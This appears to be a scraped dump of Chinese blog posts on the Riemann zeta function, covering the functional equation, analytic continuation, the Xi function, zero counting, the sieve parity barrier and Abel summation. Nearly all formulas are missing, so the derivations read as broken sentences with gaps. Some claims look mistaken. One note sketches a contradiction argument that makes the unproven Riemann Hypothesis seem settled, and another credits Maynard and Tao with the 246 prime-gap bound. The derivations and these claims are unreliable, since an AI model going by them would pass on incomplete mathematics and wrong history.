，这些零点分布在负实轴上； 非平凡零点：所有非平凡零点被约束在临界带 内，并关于直线 对称，这正是黎曼猜想的核心断言，即所有非平凡零点均满足 。 函数方程的重要性还体现在其对 函数数值计算的推动：对 的区域，无需直接计算发散的 Dirichlet 级数，而是通过方程转化为 的收敛表达式，显著降低了计算复杂度。 推导方法一：Riemann 围道积分与留数定理（原始证明）Riemann 原始证明的核心思想是通过构造特定围道上的积分，将 表示为被积函数极点留数的和。以下为关键步骤的现代重构： 积分表示的建立 对 ，利用 Gamma 函数的积分定义 ，对 求和可得： Riemann 引入围道 （称为 “黎曼围道”），从正实轴无穷远处出发，绕原点逆时针旋转后返回，避开原点与负实轴上的极点 （ ）。 留数定理的应用 考虑积分 其中 需规定分支割线（通常取负实轴）。由留数定理，该积分等于围道内所有极点 （ ）处留数之和的 倍。计算一阶极点留数： 对 与 分别求和，可得： 利用欧拉公式化简三角函数项 ，结合 Gamma 函数的余元公式 ，最终得到函数方程。 解析延拓的验证 上述推导表明，当 时， 可表为围道积分；通过解析延拓，该表达式对所有 成立，从而证明 在全复平面（除 外）解析。 推导方法二：Poisson 求和公式与 Theta 函数（现代简化方法）Poisson 求和公式 其中 为 的傅里叶变换. 它为函数方程提供了更简洁的证明路径，其核心是通过 Theta 函数建立 与 的联系 Theta 函数的引入 定义 Jacobi Theta 函数 （ ） 其满足函数方程 对 ，考虑函数 ，其傅里叶变换为 代入 Poisson 求和公式可直接验证 Theta 函数的对称性。 的积分表示与变换 对 ，利用 将积分拆分为 两部分。对 部分作变量替换 ，并利用 Theta 函数方程 可得： 等式右侧前两项分别对应 与 的积分表示，合并后即得函数方程的等价形式： 该方法的优势在于避免了复分析中的围道积分技巧，直接通过实分析工具与对称变换得到结果。 推导方法三：组合数学与 Bernoulli 数（特殊值关联）通过组合数学工具（如第二类 Stirling 数与 Bernoulli 数），可建立 在正整数点与负整数点的函数方程关系，这一角度更贴近 Euler 原始工作的延续： Bernoulli 数与 函数的关系 Euler 已证明对正偶数 ， ，其中 为 Bernoulli 数。利用第二类 Stirling 数 的性质（如 ），可推导 （ ）的显式表达式。 函数方程在负整数点的验证 对级数 （ 为整数），利用第二类 Stirling 数的生成函数 与 Bernoulli 数的指数生成函数 可证明对负整数 ，函数方程 成立，这正是 Riemann 函数方程在整数点的特殊情形。例如取 ，有 与通过函数方程计算 完全一致。 应用与拓展：从素数定理到临界线函数方程的深远影响体现在多个数学分支： 素数定理的证明：Hadamard 与 de la Vallée-Poussin 于 1896 年通过证明 在 上无零点（利用函数方程转化为 的情形），首次严格证明了素数定理 。 L- 函数的推广：函数方程的思想被推广至 Dirichlet L- 函数、模形式 L- 函数等更广泛的自守 L- 函数类，形成 Langlands 纲领的核心研究对象。例如 Panchishkin 在文献中研究的 Siegel 模形式 L- 函数，其函数方程包含多个 Gamma 因子乘积，结构虽复杂，但对称本质与 一脉相承。 数值计算与验证：函数方程是计算 在临界带内值的基础。例如对 （黎曼猜想的临界线），通过方程转化为 的收敛级数，结合快速傅里叶变换技术，已验证前 个非平凡零点均满足 。 结语：对称之美与未解之谜黎曼 函数的函数方程不仅是复分析技巧的巅峰，更揭示了数学中深刻的对称性，这种对称不仅是形式上的，更蕴含着数论与分析之间的根本联系。从 Riemann 的原始围道积分，到 Poisson 求和公式的现代简化，再到组合数学的特殊值验证，三种推导方法分别从复分析、实分析、离散数学的角度诠释了同一核心规律。数学中最美的定理往往是那些揭示表面无关对象之间深刻联系的命题，函数方程正是这一理念的典范。 若黎曼猜想得证，函数方程所蕴含的临界线对称性将成为素数分布的终极解释，素数在整数中的不规则出现，竟由复平面上的完美对称所支配, 或许正是数学永恒魅力的缩影。"},{"title":"","date":"2025-10-16T01:20:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Zeta/54.html","permalink":"https://blog.mhuig.top/notes/Zeta/54","excerpt":"","text":"Zeta 函数解析延拓的经典方法 Zeta 函数解析延拓的经典方法 黎曼 ζ 函数的解析延拓黎曼 ζ 函数作为解析数论的核心工具，其原始定义 仅在右半平面 收敛。为研究其非平凡零点（如黎曼猜想所关注的 临界线），需通过解析延拓将定义域拓展至全复平面。这里阐述三种经典延拓方法：泊松求和公式法、狄利克雷 η 函数法和围道积分法，揭示其内在联系与数学本质。 一、泊松求和公式与 θ 函数方法1.1 雅可比 θ 函数与函数方程黎曼的突破在于将 ζ 函数与模形式理论关联。定义 θ 函数 由泊松求和公式可得关键对称关系： 此式揭示 θ 函数在 变换下的对称性，为 函数延拓奠定基础。 1.2 ζ 函数的积分表示与解析延拓对 作 Mellin 变换，得到： 将积分拆分为 与 两段，对 段代入式 并换元 ，整理后得到： 右侧积分对所有复 收敛，且在 变换下不变，由此直接导出黎曼函数方程： 该方程将 的 ζ 函数值与 关联，仅需额外处理 的临界带。 二、狄利克雷 η 函数与交错级数延拓2.1 η 函数的定义与收敛性狄利克雷 η 函数 是 ζ 函数的交错形式，其优势在于收敛域更广（ ）。通过简单代数变形可得： 分母 的零点为 ，但分子 η 函数在 的解析性确保式 定义了 内除 外的解析延拓。 2.2 阿贝尔变换与一致收敛性为严格证明 η 函数在 的解析性，对部分和 应用阿贝尔变换： 当 时，余项可通过 的选择被控制，从而证明 η 函数的解析性，进而通过式 将 ζ 函数延拓至 （ 为单极点）。 三、围道积分与 Hurwitz ζ 函数方法3.1 Γ 函数与积分表示利用 Γ 函数的积分定义 ，对 有： 此积分在 收敛，但需通过围道变形延拓至全平面。引入汉克尔围道 （绕负实轴的闭合路径），可将式 改写为： 围道积分的优势在于对所有复 收敛，仅在 处因 Γ 函数极点产生单极点。 3.2 留数定理与函数方程验证被积函数 的极点为 。由留数定理计算围道积分，得到： 化简后重新导出黎曼函数方程 ，验证了围道积分法与 θ 函数法的一致性。 四、延拓结果与奇点分析综合三种方法，ζ 函数的解析延拓具有以下性质： 定义域：全复平面 ，仅在 处有单极点（留数为 1）； 函数方程： ，揭示对称性 ； 特殊值：如 （需注意此为延拓后的值，非原始级数和）。 结语：延拓的深层意义解析延拓不仅是技术手段，更揭示了 ζ 函数的算术本质与模形式、Γ 函数的深刻联系。黎曼通过 θ 函数的模变换性质架起数论与复分析的桥梁，其思想为朗兰兹纲领等现代理论提供范式。"},{"title":"","date":"2025-10-16T01:30:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Zeta/55.html","permalink":"https://blog.mhuig.top/notes/Zeta/55","excerpt":"","text":"黎曼 Xi 函数 黎曼 Xi 函数 历史背景与定义起源1859 年，波恩哈德・黎曼在其划时代论文《论小于给定数值的素数个数》中首次引入 Xi 函数，旨在简化黎曼 ζ 函数的解析性质研究。原始定义经后世标准化后，形成两类核心表述： 1. 小写 Xi 函数（ξ(s)） 现代标准定义为： 其中 为黎曼 ζ 函数， 为伽马函数。此定义通过引入多项式因子 和伽马函数项，消除了 在 的极点及平凡零点（负偶数），使 成为整函数（全平面解析）。 2. 大写 Xi 函数（Ξ(t)） 为聚焦临界线分析，黎曼进一步定义： 其中 为实数。该变换将 的非平凡零点问题转化为 的实零点问题，是黎曼猜想的核心表述载体。 核心解析性质推导1. 对称性（泛函方程） 黎曼通过积分变换证明 ，这一对称性直接由 的泛函方程导出： 两边同乘 即得 的对称性。对 ，此性质表现为 ，即 为实变量 的偶函数。 2. 积分表示与解析延拓 从 的积分形式出发，可推导 的显式积分表达式。对于 ， 结合伽马函数的积分表示 代入 定义得： 其中 为雅可比 θ 函数的余项。通过变量替换 ，可证明该积分在全平面收敛，从而完成 的解析延拓。 3. 幂级数展开 在临界线 附近可展开为幂级数。令 ，则由 的偶函数性（关于 对称），其幂级数仅含偶次项： 其中系数 同上。此展开对数值计算 的零点至关重要。 标准化与应用：从函数构造到黎曼猜想1. 零点对应关系 的零点与 的非平凡零点完全一致，且均位于临界带 内。通过 黎曼猜想等价于 的所有零点均为实数。这一转化将复平面零点问题简化为实函数零点问题，为后续研究奠定基础。 2. 解析工具与研究进展 为证明 的零点实性，发展了多种方法： 傅里叶变换方法： 可表示为正定核的傅里叶余弦变换，如 其中 为雅可比 θ 函数。 多项式逼近：构造序列 一致收敛于 ，通过证明其零点均为实数，结合赫尔维茨定理推断 的零点实性。 整函数理论： 属于拉盖尔 - 波利亚类（LP 类），该类函数的零点均为实数，且满足特定增长条件。 3. 数值验证与未解问题 尽管黎曼猜想尚未被严格证明，但数值计算已验证前 个非平凡零点均位于临界线上。 的标准化形式为这些验证提供了便利：由于 为实值偶函数，其零点搜索可简化为正实轴上的实函数求根问题。 四、总结与展望黎曼 Xi 函数通过对 ζ 函数的标准化处理，将素数分布问题与整函数零点理论深刻关联。其核心价值在于： 对称性： 揭示了临界带两侧零点的镜像关系； 整函数性：消除了 ζ 函数的极点与平凡零点，使复分析工具得以全面应用； 实函数转化： 将黎曼猜想简化为实函数零点问题，为解析证明与数值验证提供统一框架。 当前研究聚焦于通过傅里叶分析、随机矩阵理论或非对易几何方法攻克黎曼猜想。无论结果如何，Xi 函数作为连接数论与分析的桥梁，已成为现代数学中不可或缺的核心工具。其标准化过程本身也启示我们：复杂问题的本质往往隐藏在恰当的函数变换之后。"},{"title":"","date":"2025-10-16T02:20:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Zeta/56.html","permalink":"https://blog.mhuig.top/notes/Zeta/56","excerpt":"","text":"黎曼关于 Zeta 函数零点分布的三个核心论断 黎曼关于 Zeta 函数零点分布的三个核心论断 1859 年，波恩哈德・黎曼在《论小于给定数值的素数个数》中，通过对 ζ 函数的创新性研究，揭示了素数分布与复平面零点之间的深刻联系。这篇开创性文献不仅奠定了解析数论的基础，更提出了三个关于 ζ 函数零点分布的核心论断，其中最著名的 “黎曼猜想” 至今仍是数学界悬而未决的巅峰难题。这里将系统梳理这些论断的历史背景、数学表述及解析推导，揭示其内在逻辑与深远影响。 如果我们使用随意一点的口语而不是正式的书面语言来表达这三个论断，那么： 论断一：（陈述事实的语气）显然，所有非平凡零点都被限定在 0 到 1 之间的临界带内。 论断二：（肯定的语气）几乎所有的非平凡零点，实部都恰好等于 1 / 2。 论断三：（推测的语气） 很有可能所有的非平凡零点其实都整齐地排列在实部为 1 / 2 的临界线上。 历史背景ζ 函数的起源可追溯至 1737 年欧拉的工作，他证明了对实部大于 1 的实数 ，有： 这一乘积公式首次将素数分布与解析函数关联起来。但欧拉未能突破实数域的局限，而黎曼在 1859 年的论文中实现了革命性跨越：他通过解析延拓将 ζ 函数定义域扩展到整个复平面（除 处的单极点外），并发现其零点分布与素数计数函数 的精确表达式密切相关。 黎曼的关键洞察是引入辅助函数 以简化零点分析： 该函数具有三个核心性质： ① 整函数（无极点）； ② 零点与 ζ 函数的非平凡零点完全一致； ③ 满足对称性 。 这一对称性暗示零点关于临界线 对称分布，构成了三个论断的共同基础。 核心论断一：非平凡零点的存在范围与对称性命题一在 范围内 的零点数目约为 。 论断表述黎曼首先断言：ζ 函数的所有非平凡零点均位于临界带 内，且若 是零点，则 也是零点。 解析推导 平凡零点排除： 通过函数方程 可见当 （ 为正整数）时， 但这些是 函数极点的产物，被 中的 项抵消，故非平凡零点只能位于临界带内。 对称性证明： 对 应用 函数的余元公式 可得： 结合 ζ 函数方程，可验证 ，从而零点关于 对称。 零点无界性： 黎曼通过对 的 Hadamard 乘积展开 （其中 遍历非平凡零点），证明零点有无穷多个。后续的 Riemann-von Mangoldt 公式进一步给出零点计数函数的渐近表达式： 表明当 时，高度 以下的零点数量趋于无穷。 核心论断二：临界线上零点的无穷性与密度估计命题二在 范围内 的位于 的直线上的零点数目也约为 。 论断表述黎曼在论文中暗示（并通过数值计算验证）：临界线 上存在无穷多个零点，且这些零点的分布密度可能与 相关。 关键进展与证明 Hardy 的突破（1914）: 首次严格证明临界线上有无穷多零点，其证明基于对 的积分估计，核心思路是构造辅助函数： 其中 证明 有无穷多个实零点。 Selberg 的密度定理（1942）： 证明临界线上零点占比为正，即存在常数 使得： 其中 为临界线上高度 以下的零点数。中国数学家闵嗣鹤于 1956 年将比例下界改进为 ，目前最佳结果是 Conrey 证明的 。 数值验证： 截至 2004 年，Gourdon 已验证前 个零点均位于临界线上，Odlyzko 对高高度零点的计算进一步支持了零点分布的统计规律。 核心论断三：黎曼猜想 - 所有非平凡零点位于临界线猜想表述黎曼的终极断言（黎曼猜想）： 函数的所有非平凡零点均位于满足 的直线上。 解析思路与部分结果虽然猜想尚未完全证明，但通过 函数的性质可构建以下论证框架： 函数的实值性：当 时， 为实函数，故其零点对应实轴交点，可通过符号变化判定。黎曼本人计算了前几个零点的数值，发现均位于临界线上。 临界带内零点排除：假设存在非临界线零点 （ ），则由 的解析性，其在临界带内的曲线族 （ ）应形成连续像集。但通过构造矩形围道并应用幅角原理，可证明此类零点会导致矛盾： 导数估计：在紧致区域 内， ，相邻曲线差异随 趋于零； 指数衰减：当 时， ，指数项主导使得非临界线不可能存在零点。 反证法框架： 假设存在 的零点 ； 由对称性知 也是零点，构造零点序列 满足 ； 但 Conrey 定理表明在 内无零点，与序列构造矛盾。 影响与意义：数学大厦的基石猜想黎曼的三个论断构成了解析数论的支柱。第一个论断确立了零点的基本分布范围，第二个揭示了临界线的特殊地位，第三个则是数论中最深刻的未解之谜。若黎曼猜想成立，将直接改进素数定理的误差项：从 提升至 ，并蕴含数千个数论命题的正确性。 从希尔伯特将其列为 23 个问题之八，到克雷数学研究所将其列为千禧难题，黎曼猜想的魅力不仅在于其简洁表述，更在于它连接了数论、复分析与几何学的深层结构。它的证明将照亮素数分布的终极规律，揭示数学宇宙的内在和谐。 结语：未竟的探索黎曼在 1859 年论文中谨慎地写道：“当然，人们希望能找到这一结论的严谨证明，但我经过几次短暂而徒劳的尝试后已经放弃了寻找这种证明的努力，因为这对于我当前的研究目标来说并非必要”。一个半世纪后的今天，尽管我们已积累了海量的数值证据和部分结果，却仍未触及猜想的核心。或许正如黎曼所预见的，完整证明需要全新的数学思想，这种思想可能藏在 函数的周期性、零点的统计规律或某种未被发现的对称性中，等待着下一次数学革命的到来。当我们凝视临界线上无穷多个跳动的零点时，看到的不仅是素数的音乐，更是人类理性面对未知时永恒的探索精神。"},{"title":"","date":"2025-10-16T08:20:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Zeta/57.html","permalink":"https://blog.mhuig.top/notes/Zeta/57","excerpt":"","text":"黎曼的整体思路 黎曼的整体思路 历史背景与研究动机1859 年，32 岁的黎曼被任命为柏林科学院通讯院士，作为回应，他提交了唯一一篇数论论文《论小于给定数值的素数个数》。以欧拉 1737 年发现的乘积公式为起点，将素数分布问题从初等数论推向复分析的新领域，奠定了解析数论的理论基础。黎曼的突破源于一个深刻洞见：素数的离散分布规律，可以通过复平面上某个特殊函数的解析性质来刻画，这个函数后来被称为黎曼 ζ 函数。 当时，高斯与狄利克雷已观察到素数计数函数 （表示小于 x 的素数个数）的渐近行为近似于 ，但都停留在统计层面未能给出严格证明。 黎曼则直接构造了 的精确表达式，其关键创新在于将素数问题转化为复变函数的零点分布问题，这一思想被希尔伯特称为 \"数学中最美丽的成果之一\"。 ζ 函数的定义与解析延拓欧拉乘积与初始定义黎曼以欧拉恒等式作为研究起点：对于实部 的复数 ， 函数可表示为两种等价形式： 级数形式（Dirichlet 级数）： 乘积形式（Euler 乘积）： 这两个表达式仅在 时收敛，黎曼的首要任务是将 解析延拓到整个复平面，使其成为单值亚纯函数。 积分表示形式的构建黎曼利用伽马函数的积分定义 通过变量替换得到： 对 求和后交换积分与求和次序（ 时收敛），得到： 这一积分表示是延拓的基础，但仍局限于右半平面。 围道积分与解析延拓黎曼通过构造围道积分实现解析延拓。考虑复积分： 其中积分路径 C 沿正向围绕原点，避开被积函数的奇点（ ， 为整数）。利用留数定理计算此积分，黎曼得到了 的积分表示： 该表达式对所有有限复数 （除 外）均成立，揭示了 是亚纯函数，在 处有一阶极点，留数为 。 函数方程与零点分布黎曼函数方程通过研究 函数的变换性质（雅可比恒等式），黎曼推导出 函数的函数方程，建立了 与 之间的对称关系： 这一方程具有深刻意义： 零点对称性：若 是零点，则 也是零点； 平凡零点：当 时， ，这些零点称为 \"平凡零点\"； 非平凡零点：所有其他零点位于临界带 内。 Xi 函数的构建为便于研究零点分布，聚焦非平凡零点（位于临界带 ），黎曼定义了辅助函数 ： 即： 该函数具有三个关键性质：整函数（无极点）、实值性（ 为实数）、零点与 的非平凡零点一一对应（ ）。其对称性 表明零点关于实轴对称. 黎曼证明 可展开为快速收敛的级数，为零点数值计算提供了工具。 零点分布猜想与素数公式黎曼在论文中提出三个关于 零点分布的命题，最强的一个断言： 方程 的根有无穷多个，全为实根 这一未经证明的命题，即后世所称的黎曼猜想（Riemann Hypothesis, RH），其现代表述为： 的所有非平凡零点均满足 （临界线）。黎曼坦言自己 “暂未找到严格证明”，但通过数值计算验证了少量零点，认为该命题 “对研究目标并非必需” 而搁置。 素数分布的精确公式阶梯函数 J (x) 的引入黎曼避开直接研究 ，转而定义辅助函数 （称为 \"黎曼素数计数函数\"）： 其中 为传统素数计数函数。 在素数 的 次方处跳跃增加 ,例如 这一构造将离散的素数分布转化为连续可分析的阶梯函数。 从 ζ 函数到素数分布的桥梁黎曼证明 可通过 函数的梅林反演表示为： 该积分称为 \"黎曼素数计数积分\"，通过围道积分计算可展开为： 其中 为对数积分函数， 遍历 的非平凡零点。这一公式首次将素数分布与 函数零点联系起来，余项的振荡行为完全由非平凡零点决定。 这一公式将素数计数函数表示为光滑部分（ ）与零点贡献（ ）之和，后者正是素数分布 “起伏” 的来源。 特别地，若 RH 成立，则零点项可简化为 ，大幅降低估计误差。其中 为非平凡零点虚部，为正实数。 从 J (x) 到 π(x) 的反演通过默比乌斯反演，黎曼从 恢复出 ： 其中 为默比乌斯函数： 若若为个不同素数之积若含有平方因子 这一反演公式表明，只要掌握 的解析性质，就能精确计算素数分布。 最终结果素数计数函数精确公式的最终结果： 其中 为对数积分函数， 遍历 的非平凡零点。 即： 若若为个不同素数之积若含有平方因子 如果黎曼猜想成立，则有进一步： 其中 遍历上半平面非平凡零点的虚部，为正实数，对应复平面上关于实轴对称的成对零点。 核心方法论与历史影响解析数论的范式转移黎曼的研究方法具有革命性： 复分析工具引入：将实变量函数延拓到复平面，利用解析函数的零点、极点、留数等性质研究数论问题； 整体 - 局部关联：通过 函数的整体解析性质（函数方程）推导素数的局部分布规律； 定量估计思想：不仅关注渐近行为，还通过零点分布控制余项大小。 后续发展与未解决问题黎曼的工作为 20 世纪解析数论指明了方向： 1896 年，阿达马与瓦莱 - 普桑利用 证明了素数定理： ； 1905 年，曼戈尔特证明了黎曼关于零点计数函数 的渐近公式： ； 与 的对称关系揭示了算术函数背后的深刻结构，为后续模形式、L 函数的研究提供范本。西格尔 1932 年从黎曼遗稿中发掘的 函数积分表示，进一步推动了临界线零点的计算。 RH 若成立，将蕴含素数分布的最佳误差估计 并解决数论中大量悬而未决的问题。 截至 2024 年，已验证前 个零点均位于临界线，但严格证明仍未完成。 黎曼在论文中坦言：\"当然，人们希望能找到这一结论的严谨证明，但我经过几次短暂而徒劳的尝试后已经放弃了寻找这种证明的努力，因为这对于我当前的研究目标来说并非必要。\" 这种 \"战略性放弃\" 恰恰体现了他的洞察力，优先建立整体理论框架，而非纠结于单一猜想的证明。 结语黎曼 1859 年的论文展现了数学不同分支的深刻联系：复分析为理解数论问题提供了强大工具，而素数分布的奥秘又反过来推动复变函数论的发展。正如希尔伯特所言：\"谁若能解决黎曼猜想，谁就能看清我们这门科学中最神秘的许多篇章。\""},{"title":"","date":"2025-10-16T23:20:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Zeta/58.html","permalink":"https://blog.mhuig.top/notes/Zeta/58","excerpt":"","text":"筛法的奇偶障碍 筛法的奇偶障碍 筛法作为解析数论的核心工具，其发展始终伴随着对素数分布规律的探索。然而，奇偶障碍（Parity Problem）作为筛法理论中最深层次的限制，揭示了传统筛法无法区分素数（含奇数个素因子）与殆素数（含偶数个素因子）的本质缺陷。这一障碍不仅是孪生素数猜想、哥德巴赫猜想等著名问题长期悬而未决的关键原因，也成为推动筛法理论创新的核心动力。 历史背景：从 Brun 筛到 Selberg 筛的困境20 世纪初，Viggo Brun 通过改进埃拉托斯特尼筛法，首次证明了孪生素数倒数和收敛。其核心思想是用有限项莫比乌斯函数和替代完整的容斥原理，构造出筛函数的上下界： 其中 表示 的不同素因子个数。 当 为偶数时， 给出上界； 为奇数时给出下界。 尽管 Brun 筛成功突破了朴素筛法的误差爆炸问题，但其本质仍是对素因子个数的奇偶性进行截断，无法精确控制剩余元素的素因子 parity。 1947 年，Atle Selberg 提出了基于二次型极小化的筛法，将筛函数表示为： 通过优化系数 ，Selberg 筛将误差项从 Brun 筛的 降至多项式级别。在孪生素数问题中，Selberg 筛得到上界： 这与猜想的主项阶一致。然而，正是 Selberg 在 1950 年代首次系统揭示了筛法的奇偶困境：对于固定的筛级 ，筛函数的主项表达式与素因子个数的奇偶性无关。 数学原理：奇偶障碍的解析表述筛函数的对称结构考虑筛法的标准框架：设 为待筛集合， 为素数集合， 。筛函数定义为： 根据莫比乌斯反演，理想情况下有： 其中 ， ， 为积性函数。 当用 Selberg 筛的二次型逼近时，主项变为： 关键发现是：此主项与 的选取无关（ 控制素因子个数的截断）。例如，当 时筛出素数， 时筛出素数或素数平方，但两者的主项表达式完全相同。这意味着传统筛法无法区分 （奇数个素因子）和 （偶数个素因子）的情况。 对偶问题的解释从函数论角度看，奇偶障碍源于筛函数对素因子奇偶性的对称性。定义 Liouville 函数 （ 为总素因子个数，含重数），则对于任何筛法构造的权重函数 ，均有： 这表明筛法本质上无法分离 （偶数个素因子）和 （奇数个素因子）的元素。2015 年，Matomäki 和 Radziwiłł证明了短区间内 Liouville 函数的均匀分布，进一步印证了这种对称性的普遍性。 孪生素数问题的实例以孪生素数计数函数 为例，其筛函数对应 Selberg 筛给出上界： 但无法证明下界 核心障碍在于：筛出的元素既包含素数对 （每个含 2 个素因子，偶数），也包含伪素数对如 （含 3 个素因子，奇数），传统筛法无法有效剔除后者。 突破方向：从加权筛到多维筛法1. 加权筛法的修正陈景润在证明 \"1 + 2\"（每个充分大偶数可表为素数加殆素数）时，创造性引入加权筛函数： 通过对不同素因子组合赋予差异化权重，部分打破了奇偶对称性。其关键不等式为： 但此类方法仍受限于殆素数的组合结构，无法推广至 \"1 + 1\"。 Tip 陈景润在 1973 年发表的《大偶数表为一个素数及一个不超过两个素数的乘积之和》中，通过加权筛函数建立了 \"1 + 2\" 定理的核心框架。其证明的起点是定义素数计数函数 ，表示使得大偶数 可表为 或 的素数 的个数，其中 均为素数。这一函数的构造直接关联到哥德巴赫猜想的弱化形式，即 \"每个充分大的偶数可表示为一个素数与一个殆素数之和\"。为精确估计 ，陈景润创造性地引入加权筛函数，其完整形式包含主项与余项的精细拆分：为素数其中：第一项 计数 型素数对， 为 Mangoldt 函数（在素数处取值为对数，合数处为 0）；第二项处理 型殆素数情形，通过双重求和遍历素数乘积的所有可能分解； 为余项，需通过复杂的三角和估计控制其阶数不超过主项。这一构造的突破性在于将传统筛法升级为 \"加权筛法\"，通过对不同类型的素数组合赋予差异化权重，有效克服了经典筛法中 \"过筛\" 导致的计数损失。证明的核心挑战在于证明当 时，主项满足：其中 为依赖于 素因子的常数，定义为：这一常数体现了素数分布的局部密度特征，当 为素数时简化为 2. 多维筛法与 GPY 定理2009 年，Goldston-Pintz-Yıldırım（GPY）提出多维筛法，通过同时筛选多个线性形式 ，构造出素数间隙的非平凡下界。其核心思想是引入权重函数： 通过优化参数 和间距 ，GPY 证明了： 2014 年，Maynard 和 Tao 独立改进了 GPY 方法，将素数间隙上界降至 246（在广义 Elliott-Halberstam 猜想下为 6）。尽管这一突破未完全克服奇偶障碍，但通过增加筛函数的维度，间接弱化了 parity 限制。 3. 算术离散调和分析近年来，结合自守形式和遍历理论的新工具为突破奇偶障碍提供了可能。例如，Chowla 猜想断言 Liouville 函数 与 正交： 这一猜想若成立，将暗示素数分布的奇偶不规则性。2018 年，Kaisa Matomäki 等人证明了短区间内 的部分和有界，为攻击此类问题提供了新视角。 结语：未竟的征程筛法的奇偶障碍本质上是组合筛的线性结构与素数 parity 的非线性性质之间的矛盾。从 Brun 到 Selberg 的经典筛法，再到 GPY 和 Maynard-Tao 的现代改进，每一次突破都伴随着对 parity 限制的部分规避，但彻底解决仍需全新思想。大筛法的名字具有误导性，因为它根本不是筛法，而是调和分析的不等式。或许，只有将筛法与自守表示、L- 函数特殊值等更深层的算术结构相结合，才能最终跨越这一障碍。 当前，关于素数间隙的最佳结果 246 与终极目标 2 之间的鸿沟，恰似奇偶障碍的具象化象征。当我们在解析数论的地图上标注出这一障碍时，它既是边界，也是通往新领域的路标，提醒着我们：在数学探索中，最深刻的限制往往孕育着最伟大的突破。"},{"title":"","date":"2025-10-18T04:20:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Zeta/59.html","permalink":"https://blog.mhuig.top/notes/Zeta/59","excerpt":"","text":"黎曼非平凡零点计数渐近公式 黎曼非平凡零点计数渐近公式 在解析数论的历史长河中，黎曼 1859 年的论文犹如一座丰碑，不仅提出了著名的黎曼假设，更开创性地给出了非平凡零点计数函数 的渐近公式 这一公式揭示了复平面上零点分布的宏观规律，其思想深度与方法论创新至今仍深刻影响着数学研究。尽管黎曼未给出完整证明，后世数学家通过复分析、留数定理与 Γ 函数性质的综合运用，最终将这一猜想转化为严格的数学定理。 历史背景与关键思想从素数分布到复平面零点黎曼的核心洞察力在于将素数计数函数 与 函数的零点分布关联起来。他发现 的解析表达式中包含 函数非平凡零点的无穷和，这促使他系统研究 在复平面的性质。通过对 函数进行解析延拓，黎曼证明其仅在 处有平凡零点，而所有非平凡零点均位于临界带 内。 ξ 函数的引入与对称性为简化零点分析，黎曼定义了辅助函数 ： 该函数具有三个关键性质：整函数性（全平面解析）、对称性 （关于临界线 对称），以及零点与 非平凡零点完全重合。对称性意味着零点要么位于临界线上，要么成对关于临界线对称，这为后续计数公式奠定了基础。 渐近公式的严格推导1. 对数留数与矩形围道积分为计算 （虚部 的非平凡零点个数），黎曼采用复分析中的对数留数定理：函数在闭曲线内的零点个数等于其对数导数沿曲线的积分除以 。构造矩形围道 ，顶点为 ，包围临界带内所有虚部小于 的零点。 根据留数定理： 零点个数极点个数 由于 是整函数（无极点），积分结果即为围道内零点总数。利用对称性 ，可将左侧积分分解为右半围道 （ 到 ）与左半围道 （ 到 ），且两者贡献相等，从而得到： 其中 来自围道拐角处的误差项。 2. Γ 函数对数导数的渐近展开对 取对数并求导，得到： 关键在于估算 函数对数导数 的渐近行为。利用 Stirling 公式 （ ），取对数后求导得： 代入 ，分离实部虚部后，虚部贡献主导项为 （ 时）。 3. 积分估算与主项提取将 沿右半围道 （实部从 2 到 1 / 2，虚部固定为 ）积分，逐项分析： 积分贡献 （有界函数）； 积分贡献 ，但符号与 项抵消后可忽略； 沿 衰减极快（因 在此区域绝对收敛），积分贡献 ； 主导项来自 函数对数导数，其积分结果为： 综合所有项，最终得到渐近公式： 其中 为误差项，Littlewood 证明其有界 ，当 时可忽略。 Riemann-von Mangoldt 公式： 公式的意义与后续发展黎曼的零点计数公式不仅定量描述了零点的平均密度（约 ），更暗示了素数分布的深层规律，素数定理可由 的渐近行为直接推导。1905 年，von Mangoldt 首次严格证明了该公式，填补了黎曼推理中的关键步骤；后续研究（如 Riemann-Siegel 公式）进一步将误差项精确到 ，为数值计算零点提供了工具。 值得注意的是，公式中 项与热力学熵的对数形式相似，这启发了后续将零点分布与量子混沌、随机矩阵理论关联的跨学科研究。 结语：未完成的交响曲黎曼的零点计数公式犹如一部未完成的交响曲，其主体旋律（渐近主项）已被完美演绎，但细节（误差项的精细结构、所有零点是否位于临界线）仍悬而未决。从 Hardy 证明无穷多零点在临界线上，到 Conrey 证明至少 40% 零点位于临界线，每一步进展都依赖于对 对称性与解析性质的更深理解。正如黎曼在论文中谨慎指出的：“极有可能所有的根都是实数”，这一猜想至今仍是数学界最璀璨的明珠之一，等待着最终的证明。"},{"title":"","date":"2025-10-10T23:42:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Zeta/45.html","permalink":"https://blog.mhuig.top/notes/Zeta/45","excerpt":"","text":"阿贝尔变换 阿贝尔变换 阿贝尔变换以挪威数学家尼尔斯・亨利克・阿贝尔（Niels Henrik Abel）命名，是连接离散数学与连续分析的关键工具。它在数学分析中具有双重身份：既是离散形式的分部积分法，又是研究级数收敛性和积分变换的基础框架。这一变换的核心价值在于将乘积项的求和转化为更易处理的形式，其思想贯穿于数论、调和分析、物理学等多个领域，从素数分布的研究到等离子体物理的辐射强度分析，均可见其深刻影响。 历史背景与思想起源19 世纪初，阿贝尔在研究二项级数和椭圆函数时首次系统发展了这一变换技术。当时的数学界正处于从有限离散问题向无限连续问题过渡的关键时期，阿贝尔变换恰好提供了沟通两者的数学语言。其原始动机是解决形如 的乘积级数求和问题，这一问题在数论中的素数分布研究中尤为突出，欧拉乘积公式与黎曼 函数的分析就依赖于对乘积项求和的精细处理。 阿贝尔的核心洞察在于：离散序列的乘积求和可以通过引入部分和序列实现 \"分部\" 操作，这与微积分中的分部积分法 具有深刻的类比关系。这种离散 - 连续的对应关系后来被推广为更一般的斯蒂尔杰斯积分理论，成为现代分析的重要基石。值得注意的是，阿贝尔变换最初被称为 \"分部求和法\"（summation by parts），这一名称更直观地反映了其与分部积分的血缘关系。 数学定义与核心恒等式离散形式的严格定义设 和 是两个实数列，定义部分和序列 （约定 ），则阿贝尔变换的基本恒等式为： 这一公式的证明通过简单的代数重组即可完成：将 代入左侧求和式，得到： 重新整理第二项的求和指标（令 ），则： 提取公因式后即得到恒等式 